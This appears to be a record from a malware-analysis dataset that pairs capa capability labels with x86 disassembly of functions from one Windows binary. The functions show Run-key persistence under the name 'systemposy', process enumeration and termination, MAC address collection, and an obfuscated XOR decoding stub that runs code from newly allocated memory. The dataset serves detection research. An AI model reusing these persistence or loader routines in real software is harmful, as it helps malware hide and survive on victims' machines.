joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c1c0
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x443f3b
mov eax, dword fs:[0]
push eax
sub esp, 0x414
mov eax, dword [0x457670]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
mov eax, dword [0x457670]
xor eax, esp
push eax
lea eax, [esp + 0x424]
mov dword fs:[0], eax
lea eax, [esp + 0x14]
push eax
push 0xf003f
push 1
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
xor ebx, ebx
push SysReAllocString
xor edi, edi
mov dword [esp + 0x28], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c31c
push 0x3ff
lea ecx, [esp + 0x25]
push ebx
push ecx
mov byte [esp + 0x2c], bl
call fcn.0042efc0
add esp, 0xc
push 0x44b286
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], 0x400
call fcn.004074b0
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x24]
push ecx
push ebx
mov dword [esp + 0x43c], ebx
mov edx, dword [esp + 0x24]
push str.systemposy
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40c2e1
mov eax, dword [0x45abcc]
mov ecx, dword [eax]
push 0x44b5c8
push ecx
lea edx, [esp + 0x18]
push str._s__s
push edx
call fcn.0040cfd0
mov eax, dword [esp + 0x20]
mov edx, dword [eax - 8]
mov esi, dword [eax - 0xc]
mov ecx, 1
sub ecx, dword [eax - 4]
add esp, 0x10
or edx, ecx
jge 0x40c2c5
push ebx
lea ecx, [esp + 0x14]
call fcn.00407310
mov eax, dword [esp + 0x10]
add esi, 1
push esi
push eax
mov eax, dword [esp + 0x1c]
push 1
push ebx
push str.systemposy
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40c2e6
mov edi, 1
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x42c], 0xffffffff
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40c31c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, edi
mov ecx, dword [esp + 0x424]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x410]
xor ecx, esp
call fcn.0042baa3
add esp, 0x420
ret
Function at 0x40c6a0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ecx
push esi
lea eax, [esp + 4]
push eax
push 0xf003f
push 1
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
xor esi, esi
push SysReAllocString
mov dword [esp + 0x18], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c6ec
mov ecx, dword [esp + 4]
push str.systemposy
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x40c6e1
mov esi, 1
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ecx
ret

Function at 0x40c700
Capabilities:
Delete registry key

Disassembly:
push ecx
push esi
lea eax, [esp + 4]
push eax
push 0xf003f
push 1
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
xor esi, esi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x18], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c74c
mov ecx, dword [esp + 4]
push str.systemposy
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x40c741
mov esi, 1
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ecx
ret
Function at 0x40dcd0
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0x88
mov eax, dword [0x457670]
xor eax, esp
mov dword [esp + 0x84], eax
push esi
push 0x7f
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.0042efc0
add esp, 0xc
lea ecx, [esp + 4]
push ecx
xor esi, esi
push esi
mov dword [esp + 0xc], 4
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x40dd2f
mov edx, dword [esp + 4]
push edx
call fcn.0042bc70
mov esi, eax
add esp, 4
lea eax, [esp + 4]
push eax
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
movzx ecx, byte [esi + 0x199]
movzx edx, byte [esi + 0x198]
movzx eax, byte [esi + 0x197]
push ecx
movzx ecx, byte [esi + 0x196]
push edx
movzx edx, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push ecx
push edx
push eax
push str._0.2X:_0.2X:_0.2X:_0.2X:_0.2X:_0.2X
lea edx, [esp + 0x24]
call fcn.0040ea40
add esp, 0x1c
lea eax, [esp + 8]
lea edx, [eax + 1]
pop esi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40dd78
sub eax, edx
push eax
lea ecx, [esp + 8]
push ecx
lea ecx, [edi + 0x78]
call fcn.00407d30
mov ecx, dword [esp + 0x84]
xor ecx, esp
mov eax, 1
call fcn.0042baa3
add esp, 0x88
ret
Function at 0x40e180
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x60
push esi
push 0x44
mov esi, eax
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.0042efc0
xor eax, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov eax, dword [esi]
mov ecx, 1
sub eax, 0x10
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], ecx
mov word [esp + 0x54], cx
sub ecx, dword [eax + 0xc]
add esp, 0xc
or ecx, dword [eax + 8]
jge 0x40e1d5
push 0
mov ecx, esi
call fcn.00407310
mov esi, dword [esi]
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0x200
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop esi
add esp, 0x60
ret

Function at 0x40e200
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x130
mov eax, dword [0x457670]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
push ebp
push esi
push edi
push 0x128
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0042efc0
add esp, 0xc
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x40e24b
mov eax, dword [esp + 0x144]
add eax, 0xfffffff0
jmp 0x40e2d5
lea ecx, [esp + 0x10]
push ecx
push edi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.DLL_Process32First
cmp eax, 1
je 0x40e283
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x144]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x40e2e2
mov ebp, dword [esp + 0x144]
mov ebx, dword [sym.imp.KERNEL32.DLL_OpenProcess]
lea ecx, [esp + 0x34]
push ebp
push ecx
call fcn.004368c6
add esp, 8
test eax, eax
jne 0x40e2bc
mov eax, dword [esp + 0x18]
test eax, eax
je 0x40e2bc
cmp eax, 4
je 0x40e2bc
push eax
push 0
push 1
call ebx
mov esi, eax
test esi, esi
jne 0x40e30b
lea edx, [esp + 0x10]
push edx
push edi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x40e290
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x10]
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40e2ee
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0042baa3
add esp, 0x130
ret 4
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push edi
call esi
lea eax, [ebp - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40e33c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x40e2f0
Function at 0x40e350
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp + 4]
push eax
lea ecx, [esp + 4]
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push str.SOFTWARE_topboan
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40e384
xor eax, eax
add esp, 8
ret
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edx, dword [esp]
add eax, 1
push eax
push esi
push 1
push 0
push str.topboan_nic
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40e37e
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 8
ret

Function at 0x40e3c0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x114
mov eax, dword [0x457670]
xor eax, esp
mov dword [esp + 0x110], eax
push 0x103
lea eax, [esp + 0x11]
push 0
push eax
mov dword [esp + 0xc], 0
mov byte [esp + 0x18], 0
call fcn.0042efc0
add esp, 0xc
lea ecx, [esp]
push ecx
push 0xf003f
push 1
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e47e
lea edx, [esp + 4]
push edx
mov edx, dword [esp + 4]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
push 0
push str.ProgramFilesDir
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e463
lea eax, [esp + 0xc]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40e450
sub eax, edx
push eax
lea eax, [esp + 0x10]
push eax
jmp 0x40e46a
push 0x10
push str.C:Program_Files
lea ecx, [esi + 0x7c]
call fcn.00407d30
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40e48d
push 0x10
push str.C:Program_Files
lea ecx, [esi + 0x7c]
call fcn.00407d30
mov ecx, dword [esp + 0x110]
xor ecx, esp
mov eax, 1
call fcn.0042baa3
add esp, 0x114
ret

Function at 0x4140af
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x4140e8
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0040fb7d
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0040fa9a
pop esi
ret 4
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
pop esi
jmp dword [eax + 0x8c]
Function at 0x41571f
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
mov esi, ecx
push 0x44b286
mov ecx, edi
call fcn.00407f50
cmp dword [esi + 0x4c], 0
push dword [esp + 0xc]
jne 0x415772
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
test esi, esi
je 0x415785
push esi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, edi
call fcn.0040fb7d
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, edi
call fcn.0040fa9a
jmp 0x415785
mov ecx, esi
call fcn.00417b0e
test eax, eax
je 0x415785
push edi
mov ecx, eax
call fcn.004140af
mov eax, dword [edi]
mov eax, dword [eax - 0xc]
pop edi
pop esi
ret 8

Function at 0x415c66
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x415ca9
call fcn.004165ac
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
test eax, eax
je 0x415ca9
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov edi, eax
test edi, edi
je 0x415cc4
push edi
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0041581d
test ebx, ebx
mov esi, eax
je 0x415cc2
test edi, edi
je 0x415cc2
push edi
call dword [sym.imp.KERNEL32.DLL_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4199c1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x419a07
call fcn.004165ac
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
test eax, eax
je 0x419a07
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x419a4a
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x419a33
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x419a33
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x419a47
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x41b61b
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x41b644
call fcn.004165ac
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x41b667
push eax
push dword [esi + 4]
call fcn.0041b5a6
push esi
push eax
mov ecx, 0x45a874
call fcn.0041b280
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x41e252
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x41e280
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
test eax, eax
je 0x41e29e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0041e1bc
jmp 0x41e29e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x41e29e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0041e1bc
test edi, edi
mov eax, edi
jne 0x41e288
pop edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x45a910]
test ecx, ecx
je 0x41e361
jmp 0x41e251
ret 8

Function at 0x428356
Capabilities:
Read file on windows

Disassembly:
cmp dword [esp + 8], 0
push esi
mov esi, ecx
jne 0x42835f
xor eax, eax
jmp 0x4283c8
cmp dword [esp + 8], 0
jne 0x42836b
call fcn.0040f819
push edi
push dword [esi + 0x10]
push dword [esp + 0x14]
push 1
push dword [esp + 0x18]
call fcn.0043261d
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x4283a6
push dword [esi + 0x10]
call fcn.00432362
test eax, eax
pop ecx
jne 0x4283a6
mov esi, dword [esi + 0xc]
call fcn.00430b7d
push esi
push dword [eax]
push 1
call fcn.00428f74
push dword [esi + 0x10]
call fcn.00432391
test eax, eax
pop ecx
je 0x4283c5
push dword [esi + 0x10]
call fcn.004322b6
push eax
call fcn.004070d0
pop ecx
pop ecx
jmp 0x428394
mov eax, edi
pop edi
pop esi
ret 8

Function at 0x4283d1
Capabilities:
Write file on windows

Disassembly:
cmp dword [esp + 4], 0
push esi
mov esi, ecx
jne 0x4283db
call fcn.0040f819
push dword [esi + 0x10]
push dword [esp + 0x10]
push 1
push dword [esp + 0x14]
call fcn.00432752
add esp, 0x10
cmp eax, dword [esp + 0xc]
je 0x428408
mov esi, dword [esi + 0xc]
call fcn.00430b7d
push esi
push dword [eax]
push 1
call fcn.00428f74
pop esi
ret 8

Function at 0x42baa3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x457670]
jne 0x42baad
repz ret
jmp fcn.00432f94
Function at 0x42d0b3
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x42d0e0
call fcn.00430b7d
mov dword [eax], esi
call fcn.00430b6a
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.004353ba
add esp, 0x14
push 0x16
pop eax
pop esi
ret
test dword [esp + 0xc], 0xfffffff9
jne 0x42d0bc
push dword [esp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42d10f
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
call fcn.00430b90
pop ecx
call fcn.00430b6a
mov eax, dword [eax]
pop esi
ret
test al, 0x10
jne 0x42d136
test al, 1
je 0x42d136
test byte [esp + 0xc], 2
je 0x42d136
call fcn.00430b7d
mov dword [eax], 5
call fcn.00430b6a
mov dword [eax], 0xd
jmp 0x42d106
xor eax, eax
pop esi
ret
Function at 0x43d74d
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004331fb
xor ebx, ebx
cmp dword [0x45b654], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x43d822
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x43d78d
xor eax, eax
jmp 0x43d8e6
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x43d786
push eax
call fcn.00433198
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x45b654], eax
call esi
push eax
call fcn.00433198
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x45b658], eax
call esi
push eax
call fcn.00433198
mov dword [0x45b65c], eax
lea eax, [ebp - 8]
push eax
call fcn.0042ce25
test eax, eax
pop ecx
pop ecx
je 0x43d7f0
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004352be
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x43d822
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00433198
cmp eax, ebx
pop ecx
mov dword [0x45b664], eax
je 0x43d822
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00433198
pop ecx
mov dword [0x45b660], eax
mov eax, dword [0x45b660]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x43d89b
cmp dword [0x45b664], esi
je 0x43d89b
push eax
call fcn.00433204
pop ecx
call eax
cmp eax, ebx
je 0x43d868
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x45b664]
call fcn.00433204
pop ecx
call eax
test eax, eax
je 0x43d868
test byte [ebp - 0x18], 1
jne 0x43d89b
lea eax, [ebp - 0xc]
push eax
call fcn.0042ce5c
test eax, eax
pop ecx
je 0x43d883
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004352be
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x43d892
or dword [ebp + 0x10], 0x200000
jmp 0x43d8cc
or dword [ebp + 0x10], 0x40000
jmp 0x43d8cc
mov eax, dword [0x45b658]
cmp eax, esi
je 0x43d8cc
push eax
call fcn.00433204
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x43d8cc
mov eax, dword [0x45b65c]
cmp eax, esi
je 0x43d8cc
push dword [ebp - 4]
push eax
call fcn.00433204
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x45b654]
call fcn.00433204
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x441eac
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x457670]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00441e41
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0042efc0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x441efb
cmp dword [ebp - 0x1c], 5
jb 0x441f13
jmp 0x441f0f
cmp dword [ebp - 0x10], 1
jne 0x441f13
cmp dword [ebp - 0x1c], 4
ja 0x441f0f
jne 0x441f13
cmp dword [ebp - 0x18], 0
jbe 0x441f13
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x44b074
call fcn.00441d32
test eax, eax
jge 0x441f34
mov byte [0x45b900], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042baa3
add ebp, 0x78
leave
ret
Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret

Function at 0x44491a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x444929
pop dword [ebp - 0x38]
mov eax, 0x313dcf36
sub eax, 0x30f9860d
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x53596
push 0
mov eax, 0x48270f08
sub eax, 0x47e25c58
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x5b9afcc9
add ecx, 0xa46557ea
xor edi, edi
add edi, eax
mov ebx, 0x5656d9d9
sub ebx, 0x560f7bd9
add ebx, dword [ebp - 0x38]
mov esi, 0x4fc808f9
add esi, 0xff4d52b4
mov dword [ebp - 0xc], 0xc8a5e34a
mov edx, dword [ebx]
xor dword [ebp - 0x1c], edx
sub edx, esi
sub dword [ebp - 0x10], ebx
mov dword [edi], edx
xor dword [ebp - 0x1c], 0xd15f6210
add edi, 0x2345e45
sub edi, 0x2345e41
add ebx, 0xad354a92
sub ebx, 0xad354a8e
loop 0x44498a
add eax, 0x5dba0e94
sub eax, 0x5db8c8f5
xor ebx, ebx
add ebx, eax
add eax, 0x4eb3a8e5
sub eax, 0x4eb3a8e0
mov ecx, 0x2347e53f
add ecx, 0xdcf81ac1
add ecx, dword [ebp - 0x38]
call ebx
leave
ret